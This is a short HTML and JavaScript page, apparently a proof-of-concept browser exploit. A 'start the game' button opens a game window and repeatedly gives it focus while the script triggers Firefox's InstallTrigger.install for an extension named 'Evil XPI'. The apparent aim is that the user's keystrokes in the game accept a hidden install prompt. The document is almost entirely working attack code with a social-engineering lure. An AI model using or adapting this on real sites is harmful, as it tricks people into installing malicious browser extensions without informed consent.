Maximize this window, then <button onclick="x=window.open('game.html'); setTimeout(installThingie,200);">start the game</button>

<script>
          function installThingie()
          {
			x.setTimeout(x.focus, 3)
            x.setTimeout(x.focus, 33)
            x.setTimeout(x.focus, 333)
          
            if (InstallTrigger.updateEnabled())
              InstallTrigger.install({"Evil XPI" : "evil.xpi"});
            else
              alert("Software installation is disabled.");          
          }
</script>